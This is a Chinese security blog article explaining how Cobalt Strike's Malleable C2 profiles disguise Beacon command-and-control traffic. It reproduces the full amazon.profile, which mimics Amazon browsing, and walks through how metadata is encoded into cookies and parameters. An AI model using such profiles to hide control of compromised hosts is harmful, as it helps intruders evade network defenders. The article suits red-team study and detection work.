freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

    关于Cobalt Strike的Malleable-C2-Profiles浅析
    2018-12-03 09:00:17

    *本文作者:charm1y,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

    前言

    本文主要浅略地分析Cobalt Strike利用Malleable-C2-Profiles来进行伪装流量,实现通信隐匿的效果。

    cobalt strike简介

    cobalt strike是一款非常优秀的基于java的后渗透测试平台,它使用图形化界面进行操作,相比于Metasploit操作上更为简单高效。同时,它采用C/S架构,服务端为一个,客户端可以为多个,方便团队进行分布式协作。

    cobalt strike监听器

    cobalt strike提供的listener分为Beacon与Foreign两种。区别在与Beacon为内置使用,即目标主机与server端通信的监听;Foreign为与外部结合的listener,通常与Metasploit结合使用,后文使用的主要为Beacon类型的监听器。Beacon主要支持dns、https、http、smp[pipe]等通信协议。

    我们设置好一个server端与目标主机之间监听环境(关于cobalt strike的监听器的设置与具体使用可以Google查询),使用的payload为Windows/beacon_http/reverse_http,开始监听。cobalt strike通过与目标主机建立心跳包的机制来监控目标主机的存活情况,默认为60s,可以通过sleep命令进行修改,当修改为5s一次心跳包的发送,抓包观察具体情况。

    xintiaobao.png抓包可见,目标主机与server端的通信为HTTP协议,由此,当我们对cobalt strike的server端进行隐藏,伪造成一个正常的Web服务器,以此来伪装流量,最终达到通信隐匿的效果。cobalt strike通过提供Malleable-C2-Profiles来实现上述目的。

    Malleable-C2-Profiles浅析

    Beacon的HTTP的indicators由Malleable-C2-profile文件控制,关于Malleable-C2-profile,它是一个简单的配置文件,用来指定如何转换数据并将其存储在transaction中,转换和存储数据的相同配置文件也从transaction中提取和恢复。  

    使用方法:./teamserver [external IP] [password] [/path/to/my.profile]

    对于profile文件可以通过cobalt strike软件包中的c2lint文件进行检查,建议第一次使用的profile文件都检查一遍。  

    检查方法:./c2lint [/path/to/my.profile]

    Malleable-C2-profile.png

    以amazon.profile为例,来做简要分析

    # Amazon browsing traffic profile

    # Author: @harmj0y

    #

    set sleeptime "5000";

    set jitter    "0";

    set maxdns    "255";

    set useragent "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko";

    http-get {

        set uri "/s/ref=nb_sb_noss_1/167-3294888-0262949/field-keywords=books";

        client {

            header "Accept" "*/*";

            header "Host" "www.amazon.com";

            metadata {

                base64;

                prepend "session-token=";

                prepend "skin=noskin;";

                append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";

                header "Cookie";

            }

        }

        server {

            header "Server" "Server";

            header "x-amz-id-1" "THKUYEZKCKPGY5T42PZT";

            header "x-amz-id-2" "a21yZ2xrNDNtdGRsa212bGV3YW85amZuZW9ydG5rZmRuZ2tmZGl4aHRvNDVpbgo=";

            header "X-Frame-Options" "SAMEORIGIN";

            header "Content-Encoding" "gzip";

            output {

                print;

            }

        }

    }

    http-post {

        

        set uri "/N4215/adj/amzn.us.sr.aps";

        client {

            header "Accept" "*/*";

            header "Content-Type" "text/xml";

            header "X-Requested-With" "XMLHttpRequest";

            header "Host" "www.amazon.com";

            parameter "sz" "160x600";

            parameter "oe" "oe=ISO-8859-1;";

            id {

                parameter "sn";

            }

            parameter "s" "3717";

            parameter "dc_ref" "http%3A%2F%2Fwww.amazon.com";

            output {

                base64;

                print;

            }

        }

        server {

            header "Server" "Server";

            header "x-amz-id-1" "THK9YEZJCKPGY5T42OZT";

            header "x-amz-id-2" "a21JZ1xrNDNtdGRsa219bGV3YW85amZuZW9zdG5rZmRuZ2tmZGl4aHRvNDVpbgo=";

            header "X-Frame-Options" "SAMEORIGIN";

            header "x-ua-compatible" "IE=edge";

            output {

                print;

            }

        }

    }

    文件开头的set语句来设置Beacon的默认值,类型分为全局与本地选项,全局选项更改的是全局Beacon的设置,本地选项更改特定的transaction。全局在文件开头声明, 本地选项在具体的transaction中使用。  

    在amazon.profile中sleeptime为设置心跳包时间,单位为毫秒;jitter为默认的抖动因子(0-99%);maxdns为通过DNS上传数据时的主机名最大长度(0-255);useragent为设置http通信使用的用户代理。

    后文的http-get与http-post都符合以下的通用格式:  

    protocol-transaction {

    set local_option "value";

    client {

    # customize client indicators

    }

    server {

    # customize server indicators

    }

    }

    protocol-transaction即为使用具体使用http方法,client与server就是对http中的request与response的具体配置,header指定具体的http请求头与相应头信息。  

     metadata {

                base64;  

                prepend "session-token=";

                prepend "skin=noskin;";

                append "csm-hit=s-24KU11BB82RZSYGJ3BDK|1419899012996";

                header "Cookie";

            }

    这指定了对metadata进行相应编码,此处为base64编码。Prepend语句在编码后的数据前面添加相应字符串,append语句为在末尾追加字符串。最后存储在cookie字段里面。获取真正的metadata则是对http中相应数据进行逆操作,最终得到所要的metadata。  

    parameter语句为设置对应的字符串存储在对应的URI参数中,print语句是将data作为transaction的内容进行发送。最后通过:

            output {

                print;

            }

    单元进行终止并输出。通过以上具体内容的设置,最终在通信时HTTP流量包得到相应的更改伪造。至于更多profile设置可以参考官方文档 -- https://www.cobaltstrike.com/help-malleable-c2  。

    下图为server端默认配置与加载amazon.profile后实现的通信流量的对比。 

    CS_default.png

    C2-amazon.png

    通过加载相应的profile文件,来改变目标主机与server端的流量特征,以此来隐藏流量,最终达到通信隐匿的目的。  

    在cobalt strike中,一次只能使用一个profile文件,当profile文件有变动时,基于当前profile文件的listener都会失效,需要重新部署。在编写自定义的profile文件时,需要注意一些字符与URL之间的冲突,有可能导致配置无法生效。修改后的profile文件建议通过c2lint工具进行测试,通过后再进行部署。

    总结

    cobalt strike作为一款优秀的后渗透工具,通过伪造正常的HTTP流量来进行目标主机的控制,在实际使用中一般偏向于使用HTTPS协议进行通信,更能达到隐藏自身的目的。以上内容算是抛砖引玉了,有感兴趣的同学可以参考以下链接。

    参考链接

    https://www.freebuf.com/sectool/133369.html  

    https://www.cobaltstrike.com/help-malleable-c2   

    https://github.com/rsmudge/Malleable-C2-Profiles  

    https://github.com/xx0hcd/Malleable-C2-Profiles

    *本文作者:charm1y,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。

    # Cobalt strike # Malleable-C2-Profiles
    本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
    被以下专辑收录,发现更多精彩内容
    + 收入我的专辑
    + 加入我的收藏
    相关推荐
    • 0 文章数
    • 0 关注者